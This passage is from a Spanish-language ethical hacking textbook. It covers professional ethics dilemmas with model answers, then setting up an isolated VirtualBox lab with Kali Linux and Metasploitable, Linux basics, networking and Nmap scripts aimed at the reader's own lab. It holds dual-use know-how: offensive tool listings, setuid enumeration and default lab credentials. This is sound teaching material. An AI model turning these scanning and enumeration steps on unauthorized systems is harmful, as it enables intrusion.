Lecciones del caso: el valor estuvo en la metodología y el reporte, no en herramientas exóticas. Los hallazgos más valiosos fueron administrativos (dominio por vencer) y de configuración (impresora), no vulnerabilidades de película. Y todo empezó con el alcance firmado: sin él, el mismo trabajo sería un delito.

Preguntas frecuentes de principiantes

"¿Necesito saber programar?" No para empezar; ayuda mucho a nivel intermedio (Python para automatizar, algo de web para entender ataques). Aprende en paralelo, no como requisito.

"¿Cuánto tarda en conseguirse trabajo?" Con fundamentos sólidos, laboratorio documentado y una certificación inicial, entre 6 y 18 meses de estudio serio es un rango realista. No hay atajos honestos.

"¿Mac o Windows para empezar?" El que tengas: VirtualBox corre en ambos y Kali vive en la VM. No gastes en equipo nuevo para empezar.

"¿Es tarde para entrar al campo?" No: la demanda supera la oferta hace años y seguirá creciendo. Lo que importa es empezar bien, con ética y fundamentos.

"¿Puedo practicar con HackTheBox o TryHackMe?" Sí: son plataformas legales diseñadas para practicar, con máquinas vulnerables autorizadas. Excelentes complemento de tu laboratorio.

"¿Qué hago si un amigo me pide hackear algo?" Le explicas que solo trabajas con autorización del dueño del sistema y por escrito. Si insiste, te niegas. Tu carrera vale más que un favor.

"¿El hacking ético es solo pentesting?" No: incluye auditoría, respuesta a incidentes, forense, concientización, gestión de vulnerabilidades y más. El pentest es la puerta de entrada más conocida.

"¿Necesito título universitario?" Ayuda, pero el campo valora demostración: portafolio, certificaciones y habilidad real pesan más que el papel en muchos empleos.

"¿Qué inglés necesito?" Mucho material está en inglés; un nivel de lectura técnica te multiplica las fuentes. Apréndelo en paralelo: es inversión, no lujo.

"¿Cómo sé que voy por buen camino?" Si puedes explicar cada concepto con tus palabras, documentas tu laboratorio y resuelves los ejercicios sin mirar, vas bien. La prueba final es el examen de este libro.

Tu juramento de sombrero blanco (escríbelo y fírmalo)

"Me comprometo a usar mis conocimientos de seguridad informática únicamente en sistemas propios o con autorización escrita de su responsable, a respetar la ley, a proteger la confidencialidad de la información a la que acceda, a reportar honestamente lo que encuentre y a usar mis habilidades para hacer los sistemas más seguros. Entiendo que violar este compromiso puede constituir delito y destruir mi carrera."

Fírmalo con fecha y guárdalo con tu cuaderno de laboratorio. Los profesionales de verdad toman esto en serio.

Taller avanzado: dilemas éticos del profesional (piensa como consultor)

La ética no se aprende memorizando reglas sino enfrentando dilemas. Analiza cada caso y decide qué harías, con fundamento. Las respuestas modelo están al final del taller.

Dilema 1: Durante un pentest autorizado a la red de un cliente, descubres por accidente un servidor con material ilegal (no relacionado con tu alcance). ¿Lo ignoras? ¿Lo reportas? ¿A quién?

Dilema 2: Tu escáner encuentra una vulnerabilidad crítica en un sistema que está explícitamente FUERA de tu alcance (un servidor del cliente que olvidaron excluir... o incluir). ¿La pruebas? ¿La reportas?

Dilema 3: Un cliente te pide que "omitas" del informe una vulnerabilidad grave porque "ya la van a corregir" y no quiere que su jefe la vea. Te ofrece un bono por tu "discreción".

Dilema 4: Terminas un proyecto y el cliente no paga el 50% restante. Tienes acceso vigente a sus sistemas (olvidaron revocarlo). ¿Lo usas como "presión"?

Dilema 5: En un bug bounty, encuentras una vulnerabilidad que afecta también a otros clientes del mismo proveedor, fuera del alcance del programa. ¿La reportas al proveedor directamente? ¿La publicas?

Dilema 6: Un amigo te ofrece dinero por "recuperar" los mensajes de la cuenta de su pareja, que sospecha que le es infiel. Dice que es "por su bien".

Dilema 7: Descubres que un compañero pentester está vendiendo los accesos que encuentra en proyectos a terceros. ¿Qué haces?

Dilema 8: Tu jefe te ordena hacer un pentest a un competidor "para ver qué tienen", sin autorización de nadie. Dice que "así se hace en los negocios".

Dilema 9: Encuentras accidentalmente (por un error de configuración ajeno) una base de datos pública con millones de contraseñas en claro. ¿La descargas "para analizarla"? ¿La publicas para "alertar"?

Dilema 10: Un cliente te pide explícitamente que realices un ataque de denegación de servicio contra su competidor y te muestra un contrato donde él "te autoriza".

Respuestas modelo: 1) No lo ignoras: documentas el hallazgo de forma factual, lo reportas al contacto designado del cliente por el canal formal y, si la ley de tu país lo exige, a las autoridades. No investigas más allá de lo necesario ni difundes el material. Tu obligación como ciudadano y profesional está por encima del contrato. 2) No la pruebas: está fuera del alcance y probarla sería acceso no autorizado. La reportas como "observación fuera de alcance" recomendando ampliar el alcance formalmente. Tocar lo excluido, aunque sea del mismo cliente, viola tu acuerdo. 3) Rechazas el bono y lo documentas. Omitir un hallazgo grave pone en riesgo al cliente y te hace cómplice si luego hay un incidente. Puedes redactar el informe con tono constructivo y darles tiempo de corrección antes de la presentación a dirección, pero el hallazgo va en el informe. Tu integridad no tiene precio. 4) Jamás. Usar accesos para presionar es extorsión, un delito grave. La vía es civil: requerimiento de pago, y si no, instancias legales. Además, revocas tú mismo cualquier acceso que conserves y lo notificas por escrito: demuestra profesionalismo. 5) La reportas al proveedor por sus canales de seguridad de forma privada y responsable. No la publicas sin dar tiempo razonable de corrección. Si el programa bounty no la cubre, igual la reportas: la ética no termina donde termina el pago. 6) Te niegas rotundamente. Acceder a la cuenta de un tercero sin su consentimiento es delito, y "el amigo" no es el titular. Le explicas brevemente por qué no puedes y le sugieres resolver su problema personal por vías honestas. 7) Lo documentas y lo reportas: a tu empresa, y si es necesario a las autoridades. Vender accesos es delito y pone en riesgo a clientes que confiaron en ustedes. Encubrirlo te hace cómplice. Es difícil, pero es lo correcto. 8) Te niegas. "Mi jefe me lo ordenó" no es defensa legal ni ética, y "autorización" del que no es dueño del sistema no es autorización. Lo documentas por escrito (correo a tu jefe explicando por qué no puedes) para protegerte. Si te despiden por negarte a delinquir, ese no era tu lugar. 9) No la descargas completa ni la publicas. Descargar millones de credenciales te convierte en poseedor de datos robados; publicarla expone a millones. Lo correcto: verificar mínimamente, reportar al responsable del sistema y, si no responde, a las autoridades o CERT. Alertar no requiere difundir. 10) El "contrato" es inválido: tu cliente no es dueño del sistema del competidor y no puede autorizarte a atacarlo. Es como si alguien te "autorizara" por escrito a robarle al vecino: no tiene validez. Te niegas y, si insiste, terminas la relación comercial.

Si acertaste el criterio en 8 de 10, tu brújula ética funciona. Si fallaste varios, repasa la Unidad 1: en este campo, el criterio ético es tan importante como el técnico.

Casos históricos que todo profesional debe conocer

Kevin Mitnick (90s): el hacker más buscado de su época; usó sobre todo ingeniería social. Su caso enseñó al mundo que el eslabón humano era el débil, y tras cumplir su condena se convirtió en consultor de seguridad y defensor del hacking ético. Lección: el talento sin ética termina mal; con ética, hasta el pasado más oscuro se puede reconvertir.

WannaCry (2017): ya lo viste en la Unidad 5; aquí la lección ética: miles de víctimas por no parchear algo parcheable. Como profesional, tu deber incluye insistir en lo básico aunque al cliente le aburra.

El caso del investigador sancionado: varios investigadores han enfrentado demandas por reportar vulnerabilidades de formas que las empresas consideraron agresivas. Lección: el CÓMO reportas importa tanto como el QUÉ: canales privados, plazos razonables, sin presión pública prematura.

El juramento en la práctica diaria

Tu juramento no es poesía: se traduce en hábitos. Antes de cada comando pregúntate: "¿tengo autorización para este objetivo?". Antes de cada informe: "¿estoy siendo honesto y completo?". Antes de cada proyecto: "¿el alcance está firmado?". Tres preguntas, diez segundos, cero incidentes en tu carrera. Los profesionales con décadas de trayectoria impecable no son los más listos: son los más disciplinados.

Resumen de la unidad

El hacking ético es evaluar la seguridad de sistemas con autorización, simulando a un atacante real para encontrar y corregir vulnerabilidades antes que los delincuentes. Se distingue del delito por el permiso, la intención defensiva y el respeto a la ley. Los sombreros blanco, negro y gris describen la intención; tú siempre serás blanco, con autorización por escrito. Las pruebas de seguridad incluyen pentests, auditorías, ejercicios red/blue team y programas bug bounty. Todo pentest sigue cinco fases: reconocimiento, escaneo, análisis de vulnerabilidades, explotación controlada y reporte. Legalmente, el acceso no autorizado es delito en casi todo el mundo: nunca toques sistemas ajenos sin permiso escrito, documenta tu alcance y guarda evidencia de todo. Éticamente, protege la confidencialidad del cliente, no hagas daño y mantente aprendiendo siempre.

En la siguiente unidad construirás tu laboratorio: instalarás Kali Linux en una máquina virtual y conocerás tu caja de herramientas. A partir de ahí, todo lo que aprendas lo practicarás en sistemas tuyos, como debe ser.

UNIDAD 2: Tu laboratorio seguro con Kali Linux

Un cirujano no practica su primera operación con un paciente real: practica en simuladores. Un piloto no aprende a volar estrellando aviones de verdad: usa simuladores de vuelo. Tú no vas a practicar hacking en redes reales: vas a construir tu propio laboratorio, un espacio seguro donde puedes romper todo lo que quieras sin consecuencias. Esta unidad es tu taller. Al terminarla tendrás Kali Linux funcionando en una máquina virtual, una máquina víctima de práctica y la confianza de experimentar sin miedo.

¿Por qué una máquina virtual y no instalar Kali directo en tu computadora? Tres razones. Una: seguridad. Las herramientas de auditoría son potentes; un error en tu sistema principal puede dejarte sin computadora. En una máquina virtual, si algo sale mal, la borras y empiezas de nuevo. Dos: aislamiento. La máquina virtual es una burbuja: lo que pase adentro no afecta tu sistema real ni tu red, siempre que la configures bien. Tres: el estándar profesional. Los pentesters trabajan con máquinas virtuales y snapshots todos los días; aprender así te entrena como profesional desde el día uno.

Kali Linux es la distribución de Linux más usada en seguridad ofensiva. No es un sistema para uso diario: es una caja de herramientas con cientos de programas de auditoría preinstalados. Es gratis, es legal descargarla y está mantenida por una empresa seria de seguridad. Cuando alguien dice "voy a hacer un pentest", en el 90 por ciento de los casos lo hace desde Kali.

Explicación detallada

Qué es la virtualización (en palabras simples)

Tu computadora tiene un procesador, memoria RAM y disco. Un programa llamado hipervisor (como VirtualBox o VMware) puede "engañar" a un sistema operativo haciéndole creer que tiene su propia computadora, cuando en realidad está usando una porción prestada de la tuya. Esa computadora fingida es la máquina virtual.

Analogía: imagina que tu casa es tu computadora. La virtualización es como construir un cuarto de juegos dentro de la casa con paredes de verdad: los niños pueden pintar las paredes, romper juguetes y hacer desorden adentro, y tu sala sigue intacta. Si el cuarto queda inservible, lo demueles y construyes otro. Eso es una máquina virtual: un cuarto de juegos para romper cosas.

Usaremos VirtualBox porque es gratis, funciona en Windows, Mac y Linux, y es más que suficiente para nuestro laboratorio. VMware Workstation también es excelente, pero VirtualBox no te cuesta nada.

Requisitos recomendados: 8 GB de RAM mínimo (16 GB ideal), 60 GB libres en disco, procesador con virtualización activada (casi todos los modernos la traen; a veces hay que activarla en la BIOS/UEFI con una opción llamada VT-x, AMD-V o SVM). Si tu equipo es modesto, asigna a la máquina virtual 2 GB de RAM y funcionará, solo un poco más lento.

Tipos de red en VirtualBox: elige bien

Cuando creas una máquina virtual, VirtualBox te pregunta cómo conectarla a la red. Las opciones importantes:

NAT: la máquina virtual sale a internet a través de tu computadora, como si tu PC fuera su router. Es la opción por defecto y la más segura para empezar: la VM puede descargar actualizaciones, pero los demás equipos de tu red no la ven directamente.

Red NAT (NAT Network): varias máquinas virtuales pueden hablar entre ellas y salir a internet, pero siguen aisladas de tu red física. Ideal para laboratorio con atacante y víctima.

Solo anfitrión (Host-only): las máquinas virtuales hablan entre ellas y con tu PC, pero no salen a internet. Máximo aislamiento.

Puente (Bridged): la máquina virtual aparece como un equipo más de tu red real, con su propia IP. Útil en escenarios avanzados, pero para empezar evita esta opción: expone tu VM a tu red doméstica.

Nuestra configuración de laboratorio: Kali Linux y la máquina víctima en una Red NAT llamada "laboratorio". Así se ven entre ellas, Kali puede salir a internet a descargar herramientas, y tu red casera queda tranquila.

Instalación de Kali Linux paso a paso (conceptos)

Tienes dos formas de obtener Kali: la imagen ISO (instalador tradicional, más control) o la imagen pre-construida para VirtualBox (descargas, importas y listo en minutos). Para este libro recomiendo la pre-construida si quieres empezar rápido, o la ISO si quieres aprender a instalar Linux de verdad. Ambas son oficiales y están en kali.org. Verifica siempre que descargas del sitio oficial.

El proceso general con la imagen pre-construida:

1. Descarga VirtualBox desde [virtualbox.org](https://www.virtualbox.org) e instálalo en tu sistema.
2. Descarga la imagen de Kali para VirtualBox (archivo .7z u .ova) desde kali.org.
3. En VirtualBox: Archivo > Importar servicio virtualizado, selecciona el archivo .ova.
4. Ajusta recursos: 2-4 GB de RAM, 2 procesadores.
5. En Red, configura el adaptador a tu red NAT de laboratorio.
6. Inicia la máquina. Usuario y contraseña por defecto de las imágenes modernas: kali / kali. Cámbialos en cuanto entres (te explico cómo abajo).

Con la ISO el proceso es similar pero pasas por el instalador gráfico de Kali: idioma, zona horaria, particionado guiado, crear usuario. No es difícil, solo toma unos 20 minutos.

Primeros pasos dentro de Kali: actualiza el sistema (los comandos exactos están en los ejemplos), cambia la contraseña por defecto, y toma un snapshot. El snapshot es una "foto" del estado de la máquina: si luego la rompes experimentando, restauras la foto y queda como nueva. Toma snapshots antes de cada experimento arriesgado. Es el botón de "deshacer" de tu laboratorio.

La terminal: tu nueva mejor amiga

En seguridad ofensiva vivirás en la terminal (la pantalla negra con texto). Si vienes de Windows y nunca usaste Linux, no te asustes: necesitas una docena de comandos para empezar, y los aprenderás practicando.

La terminal tiene un prompt que te dice quién eres y dónde estás, algo como `kali@kali:~$`. El símbolo `$` significa usuario normal; `#` significaría administrador (root). En Kali moderno trabajas como usuario `kali` y usas `sudo` cuando necesitas permisos de administrador: `sudo` es como decir "confía en mí, sé lo que hago" y te pide tu contraseña.

Comandos esenciales que usaremos todo el libro: `pwd` (dónde estoy), `ls` (qué hay aquí), `cd` (cambiar de carpeta), `mkdir` (crear carpeta), `cat` (ver contenido de un archivo), `cp`/`mv`/`rm` (copiar, mover, borrar: cuidado con `rm`, no tiene papelera), `sudo` (permisos de admin), `apt update` && `apt upgrade` (actualizar), `ip a` (ver mis direcciones IP), `ping` (probar conectividad), `man` (ayuda de cualquier comando). Con estos sobrevives; el resto lo aprenderás sobre la marcha.

Un hábito de oro: antes de ejecutar un comando que encontraste en internet, entiende qué hace. Usa `man comando` o `comando --help`. Un comando mal entendido con `sudo` puede borrar tu sistema. En la VM el daño es reversible, pero el hábito te protegerá toda la vida.

Tu máquina víctima: Metasploitable

Para practicar necesitas algo que auditar. Atacar tu propia red casera está permitido (es tuya), pero es limitado y un poco riesgoso si te equivocas. La solución profesional: máquinas virtuales diseñadas para ser vulnerables, creadas exactamente para practicar.

La más clásica es Metasploitable 2: un Linux intencionalmente lleno de vulnerabilidades, creado por la comunidad de seguridad para entrenar. Es legal descargarla y es el campo de entrenamiento estándar. La instalas como segunda máquina virtual en tu misma red NAT de laboratorio y contra ella practicarás escaneos y análisis en las próximas unidades.

Regla de laboratorio: tus máquinas de práctica NUNCA deben estar expuestas a internet ni a redes que no controles. Metasploitable es vulnerable a propósito; si alguien más la alcanza, es un problema. Mantenla en tu red NAT de laboratorio, sin puente a tu red real.

Herramientas que trae Kali (panorama)

Kali trae cientos de herramientas organizadas por categorías. Las que usarás en este libro:

- Información: Nmap (escaneo), theHarvester (correos y subdominios públicos).
- Análisis web: Burp Suite (interceptor de tráfico web), Nikto (escáner web).
- Contraseñas: Hydra (fuerza bruta controlada), John the Ripper (auditoría de hashes).
- Sniffing: Wireshark (analizar tráfico de red).
- Explotación: Metasploit Framework (plataforma de pruebas de explotación).
- Forense y reporte: varias utilidades de documentación.

No intentes aprenderlas todas de golpe. En este libro cada herramienta aparece cuando la necesitas, con su contexto y su propósito defensivo.

Buenas prácticas de laboratorio

Uno: snapshots antes de experimentar. Dos: red aislada (NAT de laboratorio, no puente). Tres: actualiza Kali con frecuencia (`apt update && apt upgrade`). Cuatro: no guardes contraseñas reales ni datos sensibles en las máquinas de práctica. Cinco: documenta en tu cuaderno qué hiciste en cada sesión. Seis: cuando termines de practicar, apaga las máquinas virtuales; no dejes servicios vulnerables corriendo sin necesidad.

Marco ético de la unidad

Tu laboratorio es tu gimnasio: ahí sí puedes romper todo. Fuera de él, las reglas de la Unidad 1 siguen vigentes. Nunca uses las herramientas de Kali contra redes o sistemas que no sean tuyos o autorizados por escrito, ni siquiera "para practicar un escaneo rápido". El laboratorio existe precisamente para que no necesites hacerlo.

Errores comunes

Instalar Kali como sistema principal: Kali no está diseñado para uso diario y hacerlo te expone innecesariamente. Usa máquina virtual.

No tomar snapshots y luego no saber cómo revertir un desastre: el snapshot de 10 segundos te ahorra horas.

Asignar demasiada RAM a la VM y dejar tu sistema anfitrión sin memoria: deja al menos 4 GB para tu sistema real.

Descargar Kali de sitios no oficiales: solo kali.org. Las imágenes de terceros pueden traer sorpresas desagradables.

Ejemplos paso a paso

Todos los comandos se ejecutan en tu Kali Linux virtual, contra tu propio laboratorio.

Ejemplo 1: Actualizar Kali y cambiar la contraseña

```
# Actualizar la lista de paquetes y el sistema (toma varios minutos la primera vez)
sudo apt update && sudo apt upgrade -y

# Cambiar la contraseña del usuario kali (¡hazlo hoy mismo!)
passwd
# Te pedirá la actual (kali) y dos veces la nueva. Elige una larga.

# Ver tu dirección IP en la red de laboratorio
ip a
# Busca la interfaz eth0: verás algo como 10.0.2.15/24
```

Ejemplo 2: Comandos básicos de supervivencia

```
# Dónde estoy y qué hay aquí
pwd
ls -la

# Crear tu carpeta de trabajo del curso
mkdir -p ~/laboratorio/unidad2
cd ~/laboratorio/unidad2

# Crear un archivo de notas y verlo
echo "Mi laboratorio de hacking ético" > notas.txt
cat notas.txt

# Ver el manual de un comando (sal con la tecla q)
man nmap

# Apagar la máquina desde terminal
sudo poweroff
```

Ejemplo 3: Probar conectividad con tu máquina víctima

```
# Supón que tu Metasploitable tiene la IP 10.0.2.6 (la tuya puede variar)
# Primero descubre tu propia IP
ip a | grep "inet "

# Haz ping a la víctima (Ctrl+C para detener)
ping -c 4 10.0.2.6

# Si responde, tu laboratorio está comunicado. Si no:
# 1) Verifica que ambas VMs estén en la misma red NAT
# 2) Verifica que la víctima esté encendida
# 3) Revisa tu cuaderno: ¿qué IPs anotaste?
```

Ejemplo 4: Tomar y restaurar un snapshot en VirtualBox

No es un comando, es un procedimiento que harás decenas de veces:

1. Con la VM de Kali encendida y funcionando bien, en el menú de VirtualBox elige Máquina > Tomar instantánea.
2. Ponle nombre descriptivo: "Kali limpio - antes de unidad 3" y una descripción.

3. Experimenta con tranquilidad.
4. Si algo se rompe: apaga la VM, ve a la pestaña Instantáneas, selecciona la foto y elige Restaurar. En un minuto estás de vuelta.

Practica este ciclo ahora mismo: toma un snapshot, borra un archivo sin importancia, restaura el snapshot y comprueba que el archivo volvió. Esa confianza te hará experimentar más y aprender más rápido.

Ejemplo 5: Ver qué herramientas trae Kali

```
# Listar las categorías del menú de herramientas
ls /usr/share/applications | grep -i kali | head -20

# Verificar que las herramientas del curso están instaladas
which nmap hydra john wireshark msfconsole theharvester

# Versión de Nmap (la usaremos muchísimo)
nmap --version
```

Profundización: Linux a fondo para auditores

El sistema de archivos de Linux (tu mapa del tesoro)

En Linux todo es un archivo y todo cuelga de `/` (raíz). Los directorios que un auditor debe conocer:

- `/home`: las carpetas de los usuarios (tu `~` es `/home/kali`). Aquí vive tu trabajo.
- `/etc`: archivos de configuración del sistema (`/etc/ssh/sshd\_config`, `/etc/passwd`, `/etc/shadow`). Si auditas un Linux, pasas mucho tiempo aquí.
- `/var/log`: los registros del sistema (`auth.log` para logins, `syslog` general). El diario de todo lo que pasa.
- `/bin`, `/sbin`, `/usr/bin`: los programas. `/sbin` son los de administración.
- `/tmp`: archivos temporales (ojo: cualquiera puede escribir aquí; los atacantes lo usan).
- `/root`: la casa del administrador. `/boot`: el arranque. `/dev`: los dispositivos. `/proc`: información viva del sistema (no son archivos reales, son ventanas al kernel).

Saber dónde está cada cosa te hace rápido: un profesional no busca a ciegas, va directo.

Permisos: quién puede hacer qué

Cada archivo tiene dueño, grupo y tres permisos: lectura (r), escritura (w), ejecución (x), para dueño, grupo y otros. `ls -l` te muestra algo como `-rwxr-xr--`: el dueño hace todo, el grupo lee y ejecuta, otros solo leen. Los números son lo mismo en octal: 755, 644, 600.

Reglas defensivas: los archivos sensibles deben ser restrictivos (`/etc/shadow` es 640 y solo root lo lee: verifica con `ls -l /etc/shadow`). Tu clave privada SSH (`~/.ssh/id_rsa`) debe ser 600: si tiene más permisos, SSH se niega a usarla (es una protección). Desconfía de archivos con permiso 777 (todos pueden todo): es casi siempre un error. Y los binarios `setuid` (`find / -perm -4000`) corren con privilegios del dueño aunque los ejecute otro usuario: necesarios algunos, peligrosos si sobran.

Bash: automatiza tu trabajo

Aprender un poco de scripting multiplica tu productividad. Lo esencial:

```
# Variables y bucles: escanear una lista de IPs de tu laboratorio
for ip in 10.0.2.5 10.0.2.6 10.0.2.7; do
    echo "=== $ip ==="
    ping -c 1 -W 1 $ip | grep "1 received" && echo "$ip activa"
done

# Guardar resultados con fecha
nmap -sV 10.0.2.6 -oN ~/laboratorio/escaneo-$(date +%Y%m%d).txt

# Aliases útiles (ponlos en ~/.bashrc)
alias ll='ls -lah'
alias actualizar='sudo apt update && sudo apt upgrade -y'
```

Un pentester que automatiza lo repetitivo tiene el doble de tiempo para pensar. Guarda tus scripts en `~/laboratorio/scripts/`.

VirtualBox avanzado: clonar, redes y carpetas

Clonar VMs: una vez que tienes tu Kali perfecto, clónalo (clon completo) antes de experimentos destructivos: es más rápido que reinstalar. También puedes exportar la VM (Archivo > Exportar) como respaldo portable.

Redes internas: además de NAT, VirtualBox ofrece "red interna" (solo las VMs se ven, ni siquiera salen a internet: aislamiento máximo para malware o prácticas sensibles) y "solo anfitrión". Para nuestro curso la red NAT basta, pero conoce las opciones.

Carpetas compartidas: para pasar archivos entre tu sistema real y la VM sin red. Útil para sacar tus reportes del laboratorio.

Guest Additions: mejora resolución, portapapeles compartido y rendimiento. Instálalas en tus VMs.

Tour ampliado de herramientas Kali por fase

Reconocimiento: Nmap, theHarvester, Maltego (visualización de relaciones), Recon-ng, DNSenum. Escaneo: Nmap, Nikto (servidores web), enum4linux (SMB). Análisis web: Burp Suite (proxy interceptor: la navaja suiza web), OWASP ZAP (alternativa gratuita), sqlmap (solo laboratorio autorizado). Contraseñas: Hydra, John, Hashcat, Crunch (generador de diccionarios). Sniffing: Wireshark (gráfico), tcpdump (terminal), Ettercap. Explotación: Metasploit Framework, BeEF (navegadores, solo lab). Post-explotación y forense: varias utilidades. No las aprendas de golpe: cada unidad presenta las suyas con contexto.

Solución de problemas comunes del laboratorio

"Mi VM no obtiene IP": verifica que el adaptador de red esté habilitado y en el modo correcto; en red NAT, VirtualBox da IPs automáticamente.

"Todo va lentísimo": asigna más RAM (cierra programas del anfitrión), activa la virtualización por hardware en BIOS (VT-x/AMD-V), instala Guest Additions.

"Se me olvidó la contraseña de Kali": arranca en modo recuperación o usa un snapshot. Por eso los snapshots.

"Metasploitable no responde al ping": verifica que esté encendida, en la misma red, y que anotaste bien su IP (cambia cada arranque si es DHCP: revisa siempre).

"Me quedé sin espacio": las VMs crecen; limpia con ``apt clean``, borra snapshots viejos, o expande el disco virtual.

Glosario de la unidad

Hipervisor: software que crea máquinas virtuales. Snapshot/instantánea: foto del estado de una VM. NAT: la VM sale a internet a través del anfitrión. Terminal/shell: interfaz de texto para dar órdenes. Root: superusuario con poder total. Sudo: ejecutar con privilegios temporales. Paquete: programa instalable en Linux. Repositorio: servidor de paquetes. Kernel: el corazón del sistema operativo.

Práctica

Ejercicio 1: Instala tu laboratorio

Instala VirtualBox, importa Kali Linux y crea una red NAT llamada "laboratorio". Configura Kali para usarla y anota en tu cuaderno la IP que obtiene.

Solución: Los pasos están en la explicación detallada. Lo importante verificable: al correr `ip a` en Kali debes ver una IP privada (típicamente 10.0.2.x). Si ves la IP, tu red funciona. Si no obtienes IP, revisa en VirtualBox que el adaptador de red de la VM esté habilitado y en modo NAT o Red NAT. Anota la IP en tu cuaderno: la necesitarás en todas las unidades.

Ejercicio 2: Cambia la contraseña y actualiza

Cambia la contraseña por defecto y ejecuta la actualización completa del sistema. ¿Cuántos paquetes se actualizaron?

Solución: `passwd` para cambiarla; `sudo apt update && sudo apt upgrade -y` para actualizar. El número de paquetes varía según la fecha de tu imagen; anótalo en tu cuaderno. Si el comando falla por falta de internet, verifica que la VM tenga salida a internet (modo NAT) y reintenta.

Ejercicio 3: Tour de terminal

Sin mirar los ejemplos, ejecuta en orden: ver dónde estás, listar archivos ocultos incluidos, crear la carpeta `~/laboratorio`, entrar en ella, crear un archivo `comandos.txt` con el texto de tres comandos que aprendiste, y mostrar su contenido.

Solución:

```
pwd
ls -la
mkdir -p ~/laboratorio
cd ~/laboratorio
echo "pwd, ls -la, ip a" > comandos.txt
cat comandos.txt
```

Si lo hiciste sin copiar, tu memoria muscular ya empezó. Repite este tipo de secuencias hasta que salgan solas.

Ejercicio 4: Snapshot de seguridad

Toma un snapshot llamado "base-unidad2", luego instala un programa cualquiera (`sudo apt install -y tree`), verifica que funciona (`tree ~/laboratorio`), restaura el snapshot y comprueba que el programa ya no está.

Solución: Este ejercicio te enseña el ciclo completo de experimentación segura. Después de restaurar, `which tree` no debe encontrar nada. Si el snapshot no restauró, verifica que apagaste la VM antes de restaurar (algunas operaciones lo requieren) y que seleccionaste el snapshot correcto.

Ejercicio 5: Instala tu víctima

Descarga Metasploitable 2 (busca "metasploitable2 download" y usa fuentes de la comunidad de seguridad, como el repositorio oficial del proyecto), impórtala en VirtualBox, conéctala a tu red NAT "laboratorio", enciéndela y hazle ping desde Kali.

Solución: Metasploitable muestra su IP al iniciar (o la ves con `ifconfig` dentro de ella; usuario msfadmin / msfadmin). Desde Kali: `ping -c 4 [IP]`. Si responde, tu campo de entrenamiento está listo. Recuerda: esta máquina es vulnerable a propósito; mantenla solo en tu red de laboratorio y apagada cuando no practiques.

Ejercicio 6: Mapa de herramientas

Abre el menú de Kali y navega por las categorías de herramientas. Elige 5 herramientas, anota para qué cree que sirve cada una por su nombre y categoría, y luego verifica con `man` o `--help` si acertaste.

Solución: No hay respuestas únicas; el objetivo es familiarizarte con el arsenal. Por ejemplo, Wireshark (analizar paquetes de red), John the Ripper (auditar contraseñas), Burp Suite (probar aplicaciones web), Aircrack-ng (auditar Wi-Fi, Unidad 8), Metasploit (plataforma de explotación controlada). Si acertaste 3 de 5, tu intuición va bien.

Caso práctico integral: redes desde cero para auditores

Un auditor que no entiende direcciones IP es como un cerrajero que no distingue puertas de ventanas. Esta sección te da los fundamentos de redes que usarás todo el libro, con tu laboratorio como campo de pruebas.

Direcciones IP: el domicilio digital

Una IPv4 son 4 números de 0 a 255 (ej: 192.168.1.25). Se divide en parte de red (qué red es) y parte de host (qué equipo dentro de la red). Hay rangos privados que puedes usar libremente en tu laboratorio y tu casa: 10.0.0.0/8 (10.x.x.x), 172.16.0.0/12 (172.16.x.x a 172.31.x.x) y 192.168.0.0/16 (192.168.x.x). Todo lo demás en internet es público. Si en un escaneo ves una 10.x.x.x, sabes que es red interna; si ves otra cosa, es pública. Memoriza los tres rangos: los verás a diario.

Máscaras y CIDR: cuántos equipos hay en mi red

La notación /24, /16, /8 dice cuántos bits son de red. Traducción práctica: /24 = 256 direcciones (254 útiles: la .0 es la red y la .255 el broadcast), /16 = 65,536, /8 = 16 millones. Tu red casera típica 192.168.1.0/24 tiene del .1 al .254 para equipos. Cuando Nmap te pide un objetivo, le das el rango: `nmap -sn 192.168.1.0/24` barre tus 254 direcciones. Entender esto te evita escanear rangos equivocados (o peores: rangos ajenos por error de dedo, que es justo lo que el alcance escrito previene).

Puerta de enlace, DHCP y DNS: el trío que configura tu red

Puerta de enlace (gateway): la IP de tu router (ej: 192.168.1.1); es la salida a internet. DHCP: el servicio que reparte IPs automáticamente (por eso tu IP cambia a veces); el router suele ser el servidor DHCP. DNS: traduce nombres a IPs (Unidad 3). Verifícalos en tu máquina:

```
ip route | grep default    # tu puerta de enlace
cat /etc/resolv.conf       # tus servidores DNS
ip a                      # tu IP y máscara
```

Si algo no navega, revisa en este orden: ¿tengo IP? ¿llego a la puerta (`ping 192.168.1.1`)? ¿resuelvo nombres (`ping google.com` vs `ping 8.8.8.8`)? Este diagnóstico en 30 segundos te hace ver profesional ante cualquier falla.

Puertos y servicios: el mapa que ya conoces

Repaso aplicado: cuando `ss -tulpn` muestra `0.0.0.0:22`, significa "SSH escuchando en todas las interfaces": alcanzable desde toda la red. Si muestra `127.0.0.1:3306`, el MySQL solo escucha localmente: no es alcanzable desde fuera (buena práctica para bases de datos). Como defensor, busca los `0.0.0.0` y pregúntate por cada uno si debe estar expuesto. Cambiar un servicio a escuchar solo en localhost cuando no necesita red es hardening gratis.

Modelo OSI/TCP en una servilleta

No necesitas memorizar las 7 capas del modelo OSI para este libro, pero sí la idea: la comunicación se organiza en capas (física, red, transporte, aplicación...). Cada herramienta trabaja en una capa: Nmap en red/transporte, Burp en aplicación, Wireshark las ve todas. Cuando algo falla, pensar por capas ordena el diagnóstico: ¿es físico (cable/Wi-Fi)? ¿es IP (no llego a la puerta)? ¿es TCP (llego pero el puerto no responde)? ¿es aplicación (conecta pero da error)? Este pensamiento estructurado es lo que diferencia al que "prueba cosas" del que diagnostica.

Scripting bash intermedio para auditores

Sube de nivel tu automatización:

```
#!/bin/bash
# auditoria-rapida.sh: radiografía básica de un host de TU laboratorio
# Uso: ./auditoria-rapida.sh 10.0.2.6
OBJ=$1
echo "=== Descubrimiento ==="
nmap -sn $OBJ -oN /tmp/desc.txt
echo "=== Puertos principales ==="
sudo nmap -T4 -F -oN ~/laboratorio/audit-$OBJ.txt $OBJ
echo "Reporte en ~/laboratorio/audit-$OBJ.txt"
```

Hazlo ejecutable (`chmod +x`) y reusalo. Los auditores profesionales tienen decenas de scripts así: te ahorran horas y evitan olvidos. Documenta qué hace cada script en su encabezado: tu yo del futuro te lo agradecerá.

Endurece tu propio Kali (practica lo de la Unidad 9 desde ya)

Tu Kali también merece hardening básico: cambia la contraseña por defecto (ya lo hiciste), actualiza siempre, no navegues como root, usa firewall si la expones a redes compartidas, y separa tu identidad personal de la de laboratorio (cuentas y correos distintos para plataformas de seguridad). El profesional cuida su propia higiene digital primero: nadie confía su seguridad a quien descuida la suya.

Bitácora de laboratorio profesional (plantilla ampliada)

